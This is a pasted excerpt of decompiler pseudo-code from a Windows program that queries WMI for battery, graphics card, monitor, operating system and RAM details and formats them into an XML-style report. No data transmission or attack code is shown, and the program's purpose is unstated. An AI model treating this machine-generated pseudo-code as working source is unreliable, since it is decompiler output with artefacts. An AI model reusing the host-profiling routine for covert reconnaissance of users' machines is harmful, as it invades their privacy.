  912.         eax = rclsid;
  913.         ecx = *(eax);
  914.         ecx + 8 (eax);
  915.         ole32_dll_CoUninitialize ();
  916.         ecx = var_d8h;
  917.         fcn_00403582 (0x4b9c38);
  918.         ecx = &var_60h;
  919.         var_4h = 0x9a;
  920.         fcn_004035f9 ();
  921.         var_4h = 0x9b;
  922.         goto label_1;
  923.     }
  924.     pvargDest = edi;
  925.     var_14h = edi;
  926.     goto label_13;
  927. label_2:
  928.     eax = *(ecx);
  929.     eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  930.     if (var_14h == 0) {
  931.         goto label_14;
  932.     }
  933.     eax = pvargDest;
  934.     edx = &pvargSrc;
  935.     ecx = *(eax);
  936.     ecx + 0x10 (eax, "EstimatedRunTime", edi, edx, edi, edi);
  937.     if (pvarg <= 0x186a0) {
  938.         goto label_15;
  939.     }
  940.     eax = pvargDest;
  941.     edx = &pvargSrc;
  942.     ecx = *(eax);
  943.     ecx + 0x10 (eax, "EstimatedChargeRemaining", edi, edx, edi, edi);
  944.     edx = &pvarg;
  945.     if (pvarg != 0x64) {
  946.         goto label_16;
  947.     }
  948.     ecx = &var_150h;
  949.     eax = fcn_004121a6 ();
  950.     edx = "Fully charged (";
  951.     ecx = &var_138h;
  952.     eax = fcn_00406f6e (0x9c);
  953.     var_4h = 0x9d;
  954.     ecx = &var_f0h;
  955.     edx = eax;
  956.     eax = fcn_0040bddd (0x4bdb60);
  957.     ecx = &var_60h;
  958.     fcn_00405f24 (eax);
  959.     ecx = &var_f0h;
  960.     var_4h = 0x9e;
  961.     fcn_004035f9 ();
  962.     ecx = &var_138h;
  963.     var_4h = 0x9f;
  964.     fcn_004035f9 ();
  965.     var_4h = 0xa0;
  966.     ecx = &var_150h;
  967.     do {
  968.         fcn_004035f9 ();
  969.         goto label_17;
  970. label_16:
  971.         ecx = &var_138h;
  972.         eax = fcn_004121a6 ();
  973.         edx = eax;
  974.         ecx = &var_f0h;
  975.         eax = fcn_0040bddd (0xa1);
  976.         ecx = &var_60h;
  977.         fcn_00405f24 (eax);
  978.         ecx = &var_f0h;
  979.         var_4h = 0xa2;
  980.         fcn_004035f9 ();
  981.         var_4h = 0xa3;
  982.         ecx = &var_138h;
  983.     } while (1);
  984. label_15:
  985.     edx = &pvarg;
  986.     ecx = &var_108h;
  987.     eax = fcn_004121a6 ();
  988.     edi = eax;
  989.     var_4h = 0xa4;
  990.     eax = pvarg;
  991.     edx:eax = (int64_t) eax;
  992.     esi = eax;
  993.     eax = edx;
  994.     ecx = 0x3c;
  995.     edx:eax = eax * ecx;
  996.     ecx = eax;
  997.     eax = esi;
  998.     edx = 0x3c;
  999.     edx:eax = eax * edx;
  1000.     ecx += edx;
  1001.     ecx = &var_120h;
  1002.     eax = fcn_004286cc (eax, ecx);
  1003.     edx = eax;
  1004.     ecx = &var_150h;
  1005.     eax = fcn_0040bddd (0xa5);
  1006.     edx = eax;
  1007.     ecx = &var_138h;
  1008.     eax = fcn_0040be79 (0xa6);
  1009.     edx = eax;
  1010.     ecx = &var_f0h;
  1011.     eax = fcn_0040bddd (0xa7);
  1012.     ecx = &var_60h;
  1013.     fcn_00405f24 (eax);
  1014.     ecx = &var_f0h;
  1015.     var_4h = 0xa8;
  1016.     fcn_004035f9 ();
  1017.     ecx = &var_138h;
  1018.     var_4h = 0xa9;
  1019.     fcn_004035f9 ();
  1020.     ecx = &var_150h;
  1021.     var_4h = 0xaa;
  1022.     fcn_004035f9 ();
  1023.     ecx = &var_120h;
  1024.     var_4h = 0xab;
  1025.     fcn_004035f9 ();
  1026.     ecx = &var_108h;
  1027.     var_4h = 0xac;
  1028.     fcn_004035f9 ();
  1029.     edi = 0;
  1030. label_17:
  1031.     ecx = &var_3ch;
  1032.     fcn_0040376a ("<block>", 6);
  1033.     ecx = &var_3ch;
  1034.     fcn_0040376a ("<val1>Battery</val1>", 0x14);
  1035.     eax = &var_60h;
  1036.     edx = "<val2>";
  1037.     ecx = &var_138h;
  1038.     eax = fcn_0040f38b (eax);
  1039.     var_4h = 0xad;
  1040.     ecx = &var_f0h;
  1041.     edx = eax;
  1042.     eax = fcn_0040bddd ("</val2>");
  1043.     ecx = &var_3ch;
  1044.     fcn_00403509 (0xae);
  1045.     ecx = &var_f0h;
  1046.     var_4h = 0xaf;
  1047.     fcn_004035f9 ();
  1048.     ecx = &var_138h;
  1049.     var_4h = 0xb0;
  1050.     fcn_004035f9 ();
  1051.     ecx = &var_3ch;
  1052.     fcn_0040376a ("</block>", 6);
  1053.     OLEAUT32_dll_VariantCopy (pvargSrc);
  1054.     eax = pvargDest;
  1055.     ecx = *(eax);
  1056.     ecx + 8 (eax);
  1057. label_13:
  1058.     ecx = var_c8h;
  1059.     if (ecx != 0) {
  1060.         goto label_2;
  1061.     }
  1062. label_14:
  1063.     eax = dwCapabilities;
  1064.     edx = &var_c8h;
  1065.     ecx = *(eax);
  1066.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_VideoController", 0x30, edi);
  1067.     if (eax < 0) {
  1068.         eax = dwCapabilities;
  1069.         ecx = *(eax);
  1070.         ecx + 8 (eax);
  1071.         eax = rclsid;
  1072.         ecx = *(eax);
  1073.         ecx + 8 (eax);
  1074.         ole32_dll_CoUninitialize ();
  1075.         ecx = var_d8h;
  1076.         fcn_00403582 (0x4b9c38);
  1077.         ecx = &var_60h;
  1078.         var_4h = 0xb1;
  1079.         fcn_004035f9 ();
  1080.         var_4h = 0xb2;
  1081.         goto label_1;
  1082.     }
  1083.     pvargDest = edi;
  1084.     var_14h = edi;
  1085.     var_44h = edi;
  1086.     while (ecx != 0) {
  1087.         eax = *(ecx);
  1088.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  1089.         if (var_14h == 0) {
  1090.             goto label_18;
  1091.         }
  1092.         eax = pvargDest;
  1093.         edx = &pvargSrc;
  1094.         var_44h++;
  1095.         ecx = *(eax);
  1096.         ecx + 0x10 (eax, "Name", edi, edx, edi, edi);
  1097.         eax = OLEAUT32_dll_VariantInit (pvarg);
  1098.         edi = pvarg;
  1099.         ecx = &var_168h;
  1100.         esi = eax;
  1101.         fcn_0040fffe ();
  1102.         ecx = &var_168h;
  1103.         var_4h = 0xb3;
  1104.         fcn_0040e969 ();
  1105.         ecx = &var_168h;
  1106.         fcn_0040e9a1 (edi, esi);
  1107.         edx = &var_168h;
  1108.         var_4h = 0xb4;
  1109.         ecx = &var_f0h;
  1110.         eax = fcn_00418a2f ();
  1111.         edx = eax;
  1112.         var_4h = 0xb5;
  1113.         ecx = &var_c0h;
  1114.         fcn_0041d2ac ();
  1115.         ecx = &var_f0h;
  1116.         fcn_0040dda8 ();
  1117.         ecx = &var_168h;
  1118.         var_4h = 0xb8;
  1119.         fcn_0040dda8 ();
  1120.         eax = pvargDest;
  1121.         edx = &pvargSrc;
  1122.         edi = 0;
  1123.         ecx = *(eax);
  1124.         ecx + 0x10 (eax, "DriverVersion", edi, edx, edi, edi);
  1125.         eax = OLEAUT32_dll_VariantInit (pvarg);
  1126.         ecx = &var_150h;
  1127.         eax = fcn_00439d51 (pvarg, eax);
  1128.         edx = eax;
  1129.         var_4h = 0xb9;
  1130.         ecx = &var_138h;
  1131.         eax = fcn_00418a2f ();
  1132.         edx = eax;
  1133.         var_4h = 0xba;
  1134.         ecx = &var_90h;
  1135.         fcn_0041d2ac ();
  1136.         ecx = &var_138h;
  1137.         fcn_0040dda8 ();
  1138.         ecx = &var_150h;
  1139.         var_4h = 0xbd;
  1140.         fcn_0040dda8 ();
  1141.         ecx = &var_3ch;
  1142.         fcn_004034e8 ("<block>");
  1143.         edx = &var_44h;
  1144.         ecx = &var_108h;
  1145.         eax = fcn_004121a6 ();
  1146.         edx = "<val1>Graphic card (";
  1147.         ecx = &var_120h;
  1148.         eax = fcn_00406f6e (0xbe);
  1149.         var_4h = 0xbf;
  1150.         ecx = &var_f0h;
  1151.         edx = eax;
  1152.         eax = fcn_0040bddd (")</val1>");
  1153.         ecx = &var_3ch;
  1154.         fcn_00403509 (0xc0);
  1155.         ecx = &var_f0h;
  1156.         fcn_00403526 ();
  1157.         ecx = &var_120h;
  1158.         fcn_00403526 ();
  1159.         ecx = &var_108h;
  1160.         var_4h = 0xbd;
  1161.         fcn_00403526 ();
  1162.         eax = &var_c0h;
  1163.         edx = "<val2>";
  1164.         ecx = &var_188h;
  1165.         eax = fcn_0040f38b (eax);
  1166.         var_4h = 0xc1;
  1167.         ecx = &var_108h;
  1168.         edx = eax;
  1169.         eax = fcn_0040bddd (0x4bdb9c);
  1170.         ecx = &var_90h;
  1171.         var_4h = 0xc2;
  1172.         edx = eax;
  1173.         ecx = &var_120h;
  1174.         eax = fcn_00406ff5 (ecx);
  1175.         edx = eax;
  1176.         ecx = &var_f0h;
  1177.         eax = fcn_0040bddd (0xc3);
  1178.         ecx = &var_3ch;
  1179.         fcn_00403509 (0xc4);
  1180.         ecx = &var_f0h;
  1181.         fcn_00403526 ();
  1182.         ecx = &var_120h;
  1183.         fcn_00403526 ();
  1184.         ecx = &var_108h;
  1185.         fcn_00403526 ();
  1186.         ecx = &var_188h;
  1187.         var_4h = 0xbd;
  1188.         fcn_00403526 ();
  1189.         ecx = &var_3ch;
  1190.         fcn_004034e8 ("</block>");
  1191.         OLEAUT32_dll_VariantCopy (pvargSrc);
  1192.         eax = pvargDest;
  1193.         ecx = *(eax);
  1194.         ecx + 8 (eax);
  1195.         ecx = &var_90h;
  1196.         fcn_00403526 ();
  1197.         var_4h = 6;
  1198.         ecx = &var_c0h;
  1199.         fcn_00403526 ();
  1200.         ecx = var_c8h;
  1201.     }
  1202. label_18:
  1203.     eax = dwCapabilities;
  1204.     edx = &var_c8h;
  1205.     ecx = *(eax);
  1206.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_DesktopMonitor", 0x30, edi);
  1207.     if (eax < 0) {
  1208. label_3:
  1209.         eax = dwCapabilities;
  1210.         ecx = *(eax);
  1211.         ecx + 8 (eax);
  1212.         eax = rclsid;
  1213.         ecx = *(eax);
  1214.         ecx + 8 (eax);
  1215.         ole32_dll_CoUninitialize ();
  1216.         ecx = var_d8h;
  1217.         fcn_00403582 (0x4b9c38);
  1218.         goto label_19;
  1219.     }
  1220.     pvargDest = edi;
  1221.     var_14h = edi;
  1222.     var_44h = edi;
  1223.     while (ecx != 0) {
  1224.         eax = *(ecx);
  1225.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  1226.         if (var_14h == 0) {
  1227.             goto label_20;
  1228.         }
  1229.         eax = pvargDest;
  1230.         edx = &pvargSrc;
  1231.         var_44h++;
  1232.         ecx = *(eax);
  1233.         ecx + 0x10 (eax, "Name", edi, edx, edi, edi);
  1234.         eax = OLEAUT32_dll_VariantInit (pvarg);
  1235.         ecx = &var_138h;
  1236.         eax = fcn_00439d51 (pvarg, eax);
  1237.         edx = eax;
  1238.         var_4h = 0xc5;
  1239.         ecx = &var_f0h;
  1240.         eax = fcn_00418a2f ();
  1241.         edx = eax;
  1242.         var_4h = 0xc6;
  1243.         ecx = &var_90h;
  1244.         fcn_0041d2ac ();
  1245.         ecx = &var_f0h;
  1246.         fcn_0040dda8 ();
  1247.         ecx = &var_138h;
  1248.         var_4h = 0xc9;
  1249.         fcn_0040dda8 ();
  1250.         eax = pvargDest;
  1251.         edx = &pvargSrc;
  1252.         ecx = *(eax);
  1253.         ecx + 0x10 (eax, "ScreenWidth", edi, edx, edi, edi);
  1254.         eax = pvarg;
  1255.         edx = &pvargSrc;
  1256.         eax = pvargDest;
  1257.         ecx = *(eax);
  1258.         ecx + 0x10 (eax, "ScreenHeight", eax, edx, edi);
  1259.         eax = pvarg;
  1260.         ecx = &var_3ch;
  1261.         fcn_004034e8 (eax);
  1262.         edx = &var_44h;
  1263.         ecx = &var_108h;
  1264.         eax = fcn_004121a6 ();
  1265.         edx = "<val1>Monitor (";
  1266.         ecx = &var_120h;
  1267.         eax = fcn_00406f6e (0xca);
  1268.         var_4h = 0xcb;
  1269.         ecx = &var_150h;
  1270.         edx = eax;
  1271.         eax = fcn_0040bddd (")</val1>");
  1272.         var_4h = 0xcc;
  1273.         ecx = &var_3ch;
  1274.         fcn_00403509 (eax);
  1275.         ecx = &var_150h;
  1276.         fcn_00403526 ();
  1277.         ecx = &var_120h;
  1278.         fcn_00403526 ();
  1279.         ecx = &var_108h;
  1280.         var_4h = 0xc9;
  1281.         fcn_00403526 ();
  1282.         edx = &var_48h;
  1283.         ecx = &var_1d4h;
  1284.         eax = fcn_004121a6 ();
  1285.         edi = eax;
  1286.         edx = &var_40h;
  1287.         var_4h = 0xcd;
  1288.         ecx = &var_1ech;
  1289.         eax = fcn_004121a6 ();
  1290.         esi = eax;
  1291.         eax = &var_90h;
  1292.         var_4h = 0xce;
  1293.         edx = "<val2>";
  1294.         ecx = &var_204h;
  1295.         eax = fcn_0040f38b (eax);
  1296.         var_4h = 0xcf;
  1297.         ecx = &var_1bch;
  1298.         edx = eax;
  1299.         eax = fcn_0040bddd (0x4bdb9c);
  1300.         edx = eax;
  1301.         ecx = &var_188h;
  1302.         eax = fcn_0040be79 (0xd0);
  1303.         edx = eax;
  1304.         ecx = &var_108h;
  1305.         eax = fcn_0040bddd (0xd1);
  1306.         edx = eax;
  1307.         ecx = &var_120h;
  1308.         eax = fcn_0040be79 (0xd2);
  1309.         edx = eax;
  1310.         ecx = &var_150h;
  1311.         eax = fcn_0040bddd (0xd3);
  1312.         ecx = &var_3ch;
  1313.         fcn_00403509 (0xd4);
  1314.         ecx = &var_150h;
  1315.         fcn_00403526 ();
  1316.         ecx = &var_120h;
  1317.         fcn_00403526 ();
  1318.         ecx = &var_108h;
  1319.         fcn_00403526 ();
  1320.         ecx = &var_188h;
  1321.         fcn_00403526 ();
  1322.         ecx = &var_1bch;
  1323.         fcn_00403526 ();
  1324.         ecx = &var_204h;
  1325.         fcn_00403526 ();
  1326.         ecx = &var_1ech;
  1327.         fcn_00403526 ();
  1328.         ecx = &var_1d4h;
  1329.         var_4h = 0xc9;
  1330.         fcn_00403526 ();
  1331.         ecx = &var_3ch;
  1332.         fcn_004034e8 ("</block>");
  1333.         OLEAUT32_dll_VariantCopy (pvargSrc);
  1334.         eax = pvargDest;
  1335.         ecx = *(eax);
  1336.         ecx + 8 (eax);
  1337.         ecx = &var_90h;
  1338.         var_4h = 6;
  1339.         fcn_00403526 ();
  1340.         edi = 0;
  1341.         ecx = var_c8h;
  1342.     }
  1343. label_20:
  1344.     eax = dwCapabilities;
  1345.     ecx = *(eax);
  1346.     eax = ecx + 0x50 (eax, 0x4bb5cc, 0x4bdcd0, 0x30, edi, var_c8h);
  1347.     if (eax < 0) {
  1348.         goto label_3;
  1349.     }
  1350.     ecx = var_c8h;
  1351.     pvargDest = edi;
  1352.     var_14h = edi;
  1353.     if (ecx == 0) {
  1354.         goto label_21;
  1355.     }
  1356.     esi = *(sym.imp.OLEAUT32.dll_VariantInit);
  1357.     do {
  1358.         eax = *(ecx);
  1359.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  1360.         if (var_14h == 0) {
  1361.             goto label_21;
  1362.         }
  1363.         eax = pvargDest;
  1364.         edx = &pvargSrc;
  1365.         ecx = *(eax);
  1366.         ecx + 0x10 (eax, "Caption", edi, edx, edi, edi);
  1367.         eax = void (*esi)(void) (pvarg);
  1368.         ecx = &var_138h;
  1369.         eax = fcn_00439d51 (pvarg, eax);
  1370.         edx = eax;
  1371.         var_4h = 0xd5;
  1372.         ecx = &var_f0h;
  1373.         eax = fcn_00418a2f ();
  1374.         edx = eax;
  1375.         var_4h = 0xd6;
  1376.         ecx = &var_a8h;
  1377.         fcn_0041d2ac ();
  1378.         ecx = &var_f0h;
  1379.         fcn_0040dda8 ();
  1380.         ecx = &var_138h;
  1381.         var_4h = 0xd9;
  1382.         fcn_0040dda8 ();
  1383.         eax = pvargDest;
  1384.         edx = &pvargSrc;
  1385.         ecx = *(eax);
  1386.         ecx + 0x10 (eax, "OSLanguage", edi, edx, edi, edi);
  1387.         edx = pvarg;
  1388.         ecx = &var_78h;
  1389.         fcn_0042888b ();
  1390.         edx = &pvargSrc;
  1391.         eax = pvargDest;
  1392.         ecx = *(eax);
  1393.         ecx + 0x10 (eax, "Version", 0xda, edx, edi);
  1394.         eax = void (*esi)(void) (pvarg);
  1395.         ecx = &var_138h;
  1396.         eax = fcn_00439d51 (pvarg, eax);
  1397.         edx = eax;
  1398.         var_4h = 0xdb;
  1399.         ecx = &var_f0h;
  1400.         eax = fcn_00418a2f ();
  1401.         edx = eax;
  1402.         var_4h = 0xdc;
  1403.         ecx = &var_c0h;
  1404.         fcn_0041d2ac ();
  1405.         ecx = &var_f0h;
  1406.         fcn_0040dda8 ();
  1407.         var_4h = 0xdf;
  1408.         ecx = &var_138h;
  1409.         fcn_0040dda8 ();
  1410.         eax = pvargDest;
  1411.         edx = &pvargSrc;
  1412.         ecx = *(eax);
  1413.         ecx + 0x10 (eax, "BuildNumber", edi, edx, edi, edi);
  1414.         eax = void (*esi)(void) (pvarg);
  1415.         ecx = &var_120h;
  1416.         eax = fcn_00439d51 (pvarg, eax);
  1417.         edx = eax;
  1418.         var_4h = 0xe0;
  1419.         ecx = &var_150h;
  1420.         eax = fcn_00418a2f ();
  1421.         edx = eax;
  1422.         var_4h = 0xe1;
  1423.         ecx = &var_90h;
  1424.         fcn_0041d2ac ();
  1425.         ecx = &var_150h;
  1426.         fcn_0040dda8 ();
  1427.         ecx = &var_120h;
  1428.         var_4h = 0xe4;
  1429.         fcn_0040dda8 ();
  1430.         ecx = &var_3ch;
  1431.         fcn_004034e8 ("<block>");
  1432.         ecx = &var_3ch;
  1433.         fcn_004034e8 ("<val1>OS Version</val1>");
  1434.         eax = &var_a8h;
  1435.         edx = "<val2>";
  1436.         ecx = &var_138h;
  1437.         eax = fcn_0040f38b (eax);
  1438.         var_4h = 0xe5;
  1439.         ecx = &var_f0h;
  1440.         edx = eax;
  1441.         eax = fcn_0040bddd ("</val2>");
  1442.         ecx = &var_3ch;
  1443.         fcn_00403509 (0xe6);
  1444.         ecx = &var_f0h;
  1445.         fcn_00403526 ();
  1446.         ecx = &var_138h;
  1447.         var_4h = 0xe4;
  1448.         fcn_00403526 ();
  1449.         ecx = &var_3ch;
  1450.         fcn_004034e8 ("</block>");
  1451.         ecx = &var_3ch;
  1452.         fcn_004034e8 ("<block>");
  1453.         ecx = &var_3ch;
  1454.         fcn_004034e8 ("<val1>OS Language</val1>");
  1455.         eax = &var_78h;
  1456.         edx = "<val2>";
  1457.         ecx = &var_138h;
  1458.         eax = fcn_0040f38b (eax);
  1459.         var_4h = 0xe7;
  1460.         edx = eax;
  1461.         ecx = &var_f0h;
  1462.         eax = fcn_0040bddd ("</val2>");
  1463.         ecx = &var_3ch;
  1464.         fcn_00403509 (0xe8);
  1465.         ecx = &var_f0h;
  1466.         fcn_00403526 ();
  1467.         ecx = &var_138h;
  1468.         var_4h = 0xe4;
  1469.         fcn_00403526 ();
  1470.         ecx = &var_3ch;
  1471.         fcn_004034e8 ("</block>");
  1472.         ecx = &var_3ch;
  1473.         fcn_004034e8 ("<block>");
  1474.         ecx = &var_3ch;
  1475.         fcn_004034e8 ("<val1>OS Architecture</val1>");
  1476.         ecx = &var_108h;
  1477.         eax = fcn_004191b1 ();
  1478.         edx = "<val2>";
  1479.         ecx = &var_138h;
  1480.         eax = fcn_00406f6e (0xe9);
  1481.         var_4h = 0xea;
  1482.         ecx = &var_f0h;
  1483.         edx = eax;
  1484.         eax = fcn_0040bddd ("</val2>");
  1485.         ecx = &var_3ch;
  1486.         fcn_00403509 (0xeb);
  1487.         ecx = &var_f0h;
  1488.         fcn_00403526 ();
  1489.         ecx = &var_138h;
  1490.         fcn_00403526 ();
  1491.         ecx = &var_108h;
  1492.         var_4h = 0xe4;
  1493.         fcn_00403526 ();
  1494.         ecx = &var_3ch;
  1495.         fcn_004034e8 ("</block>");
  1496.         ecx = &var_3ch;
  1497.         fcn_004034e8 ("<block>");
  1498.         ecx = &var_3ch;
  1499.         fcn_004034e8 ("<val1>OS Version</val1>");
  1500.         eax = &var_c0h;
  1501.         edx = "<val2>";
  1502.         ecx = &var_188h;
  1503.         eax = fcn_0040f38b (eax);
  1504.         var_4h = 0xec;
  1505.         ecx = &var_108h;
  1506.         edx = eax;
  1507.         eax = fcn_0040bddd (" (Build: ");
  1508.         ecx = &var_90h;
  1509.         var_4h = 0xed;
  1510.         edx = eax;
  1511.         ecx = &var_138h;
  1512.         eax = fcn_00406ff5 (ecx);
  1513.         var_4h = 0xee;
  1514.         edx = eax;
  1515.         ecx = &var_f0h;
  1516.         eax = fcn_0040bddd (")</val2>");
  1517.         ecx = &var_3ch;
  1518.         fcn_00403509 (0xef);
  1519.         ecx = &var_f0h;
  1520.         fcn_00403526 ();
  1521.         ecx = &var_138h;
  1522.         fcn_00403526 ();
  1523.         ecx = &var_108h;
  1524.         fcn_00403526 ();
  1525.         ecx = &var_188h;
  1526.         var_4h = 0xe4;
  1527.         fcn_00403526 ();
  1528.         ecx = &var_3ch;
  1529.         fcn_004034e8 ("</block>");
  1530.         OLEAUT32_dll_VariantCopy (pvargSrc);
  1531.         eax = pvargDest;
  1532.         ecx = *(eax);
  1533.         ecx + 8 (eax);
  1534.         ecx = &var_90h;
  1535.         fcn_00403526 ();
  1536.         ecx = &var_c0h;
  1537.         fcn_00403526 ();
  1538.         ecx = &var_78h;
  1539.         fcn_00403526 ();
  1540.         ecx = &var_a8h;
  1541.         var_4h = 6;
  1542.         fcn_00403526 ();
  1543.         ecx = var_c8h;
  1544.     } while (ecx != 0);
  1545. label_21:
  1546.     eax = dwCapabilities;
  1547.     edx = &var_c8h;
  1548.     esi = edi;
  1549.     ecx = *(eax);
  1550.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_PhysicalMemory", 0x30, edi);
  1551.     if (eax < 0) {
  1552.         goto label_3;
  1553.     }
  1554.     pvargDest = edi;
  1555.     var_14h = edi;
  1556.     while (ecx != 0) {
  1557.         eax = *(ecx);
  1558.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  1559.         if (var_14h == 0) {
  1560.             goto label_22;
  1561.         }
  1562.         eax = pvargDest;
  1563.         edx = &pvargSrc;
  1564.         ecx = *(eax);
  1565.         ecx + 0x10 (eax, "Capacity", edi, edx, edi, edi);
  1566.         esi += pvarg;
  1567.         OLEAUT32_dll_VariantCopy (pvargSrc);
  1568.         eax = pvargDest;
  1569.         ecx = *(eax);
  1570.         ecx + 8 (eax);
  1571.         ecx = var_c8h;
  1572.     }
  1573. label_22:
  1574.     eax = dwCapabilities;
  1575.     edx = &var_c8h;
  1576.     ecx = *(eax);
  1577.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_PhysicalMemory", 0x30, edi);
  1578.     if (eax < 0) {
  1579.         goto label_3;
  1580.     }
  1581.     pvargDest = edi;
  1582.     var_14h = edi;
  1583.     while (ecx != 0) {
  1584.         eax = *(ecx);
  1585.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  1586.         if (var_14h == 0) {
  1587.             goto label_23;
  1588.         }
  1589.         eax = pvargDest;
  1590.         edx = &pvargSrc;
  1591.         ecx = *(eax);
  1592.         ecx + 0x10 (eax, "Manufacturer", edi, edx, edi, edi);
  1593.         eax = OLEAUT32_dll_VariantInit (pvarg);
  1594.         ecx = &var_138h;
  1595.         eax = fcn_00439d51 (pvarg, eax);
  1596.         edx = eax;
  1597.         var_4h = 0xf0;
  1598.         ecx = &var_f0h;
  1599.         eax = fcn_00418a2f ();
  1600.         edx = eax;
  1601.         var_4h = 0xf1;
  1602.         ecx = &var_78h;
  1603.         fcn_0041d2ac ();
  1604.         ecx = &var_f0h;
  1605.         fcn_0040dda8 ();
  1606.         ecx = &var_138h;
  1607.         var_4h = 0xf4;
  1608.         fcn_0040dda8 ();
  1609.         eax = pvargDest;
  1610.         edx = &pvargSrc;
  1611.         ecx = *(eax);
  1612.         ecx + 0x10 (eax, "Speed", edi, edx, edi, edi);
  1613.         eax = pvarg;
  1614.         ecx = &var_3ch;
  1615.         fcn_004034e8 (eax);
  1616.         ecx = &var_3ch;
  1617.         fcn_004034e8 ("<val1>RAM Capacity</val1>");
  1618.         ecx = &var_108h;
  1619.         eax = fcn_00419240 (esi, edi);
  1620.         edi = "<val2>";
  1621.         var_4h = 0xf5;
  1622.         edx = edi;
  1623.         ecx = &var_120h;
  1624.         eax = fcn_00406f6e (eax);
  1625.         edx = eax;
  1626.         ecx = &var_150h;
  1627.         eax = fcn_0040bddd (0xf6);
  1628.         ecx = &var_3ch;
  1629.         fcn_00403509 (0xf7);
  1630.         ecx = &var_150h;
  1631.         fcn_00403526 ();
  1632.         ecx = &var_120h;
  1633.         fcn_00403526 ();
  1634.         var_4h = 0xf4;
  1635.         ecx = &var_108h;
  1636.         fcn_00403526 ();
  1637.         ecx = &var_3ch;
  1638.         fcn_004034e8 ("</block>");
  1639.         ecx = &var_3ch;
  1640.         fcn_004034e8 ("<block>");
  1641.         ecx = &var_3ch;
  1642.         fcn_004034e8 ("<val1>RAM Manufacturer</val1>");
  1643.         ecx = &var_78h;
  1644.         al = fcn_00403491 ();
  1645.         if (al == 0) {
  1646.             ecx = &var_188h;
  1647.             fcn_004035b6 (var_78h);
  1648.             var_4h = 0xf8;
  1649.             ebx |= 0x200;
  1650.         } else {
  1651.             ecx = &var_108h;
  1652.             eax = fcn_00403582 (0x4bb80c);
  1653.             var_4h = 0xf9;
  1654.             ebx |= 0x400;
  1655.         }
  1656.         edx = edi;
  1657.         ecx = &var_120h;
  1658.         eax = fcn_00406f6e (ebx);
  1659.         var_4h = 0xfa;
  1660.         ecx = &var_150h;
  1661.         edx = eax;
  1662.         eax = fcn_0040bddd ("</val2>");
  1663.         ecx = &var_3ch;
  1664.         fcn_00403509 (0xfb);
  1665.         ecx = &var_150h;
  1666.         fcn_00403526 ();
  1667.         ecx = &var_120h;
  1668.         fcn_00403526 ();
  1669.         if ((ebx & 0x400) != 0) {
  1670.             ebx &= 0xfffffbff;
  1671.             ecx = &var_108h;
  1672.             var_d4h = ebx;
  1673.             fcn_00403526 ();
  1674.         }
  1675.         var_4h = 0xf4;
  1676.         if ((ebx & 0x200) != 0) {
  1677.             ebx &= 0xfffffdff;
  1678.             ecx = &var_188h;
  1679.             var_d4h = ebx;
  1680.             fcn_00403526 ();
  1681.         }
  1682.         ecx = &var_3ch;
  1683.         edi = ebx;
  1684.         fcn_004034e8 ("</block>");
  1685.         ecx = &var_3ch;
  1686.         fcn_004034e8 ("<block>");
  1687.         ecx = &var_3ch;
  1688.         fcn_004034e8 ("<val1>RAM Speed</val1>");
  1689.         if (var_48h != 0) {
  1690.             edx = &var_48h;
  1691.             ecx = &var_1bch;
  1692.             eax = fcn_004121a6 ();
  1693.             var_4h = 0xfc;
  1694.             ecx = &var_188h;
  1695.             ebx |= 0x800;
  1696.             edx = eax;
  1697.             fcn_0040bddd (ebx);
  1698.             ebx = edi;
  1699.             var_4h = 0xfd;
  1700.             ebx |= 0x1800;
  1701.         } else {
  1702.             ecx = &var_108h;
  1703.             eax = fcn_00403582 (0x4bb80c);
  1704.             var_4h = 0xfe;
  1705.             ebx |= 0x2000;
  1706.         }
  1707.         edx = "<val2>";
  1708.         ecx = &var_120h;
  1709.         eax = fcn_00406f6e (ebx);
  1710.         var_4h = 0xff;
  1711.         ecx = &var_150h;
  1712.         edx = eax;
  1713.         eax = fcn_0040bddd ("</val2>");
  1714.         ecx = &var_3ch;
  1715.         fcn_00403509 (0x100);
  1716.         ecx = &var_150h;
  1717.         fcn_00403526 ();
  1718.         ecx = &var_120h;
  1719.         fcn_00403526 ();
  1720.         if ((ebx & 0x2000) != 0) {
  1721.             ebx &= 0xffffdfff;
  1722.             ecx = &var_108h;
  1723.             var_d4h = ebx;
  1724.             fcn_00403526 ();
  1725.         }
  1726.         if ((ebx & 0x1000) != 0) {
  1727.             ebx &= 0xffffefff;
  1728.             ecx = &var_188h;
  1729.             var_d4h = ebx;
  1730.             fcn_00403526 ();
  1731.         }
  1732.         var_4h = 0xf4;
  1733.         if ((ebx & 0x800) != 0) {
  1734.             ebx &= 0xfffff7ff;
  1735.             ecx = &var_1bch;
  1736.             var_d4h = ebx;
  1737.             fcn_00403526 ();
  1738.         }
  1739.         ecx = &var_3ch;
  1740.         fcn_004034e8 ("</block>");
  1741.         OLEAUT32_dll_VariantCopy (pvargSrc);
  1742.         eax = pvargDest;
  1743.         ecx = *(eax);
  1744.         ecx + 8 (eax);
  1745.         ecx = &var_78h;
  1746.         var_4h = 6;
  1747.         fcn_00403526 ();
  1748.         edi = 0;
  1749.         ecx = var_c8h;
  1750.     }
  1751. label_23:
  1752.     eax = dwCapabilities;
  1753.     ecx = *(eax);
  1754.     ecx + 8 (eax);
  1755.     eax = rclsid;
  1756.     ecx = *(eax);
  1757.     ecx + 8 (eax);
  1758.     eax = var_c8h;
  1759.     ecx = *(eax);
  1760.     ecx + 8 (eax);
  1761.     ole32_dll_CoUninitialize ();
  1762.     ecx = var_d8h;
  1763.     fcn_0040352b (var_3ch);
  1764. label_19:
  1765.     ecx = &var_60h;
  1766.     fcn_00403526 ();
  1767.     ecx = &var_3ch;
  1768.     fcn_00403526 ();
  1769. label_10:
  1770.     eax = var_d8h;
  1771. label_5:
  1772.     fcn_00462657 ();
  1773.     return eax;
  1774. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement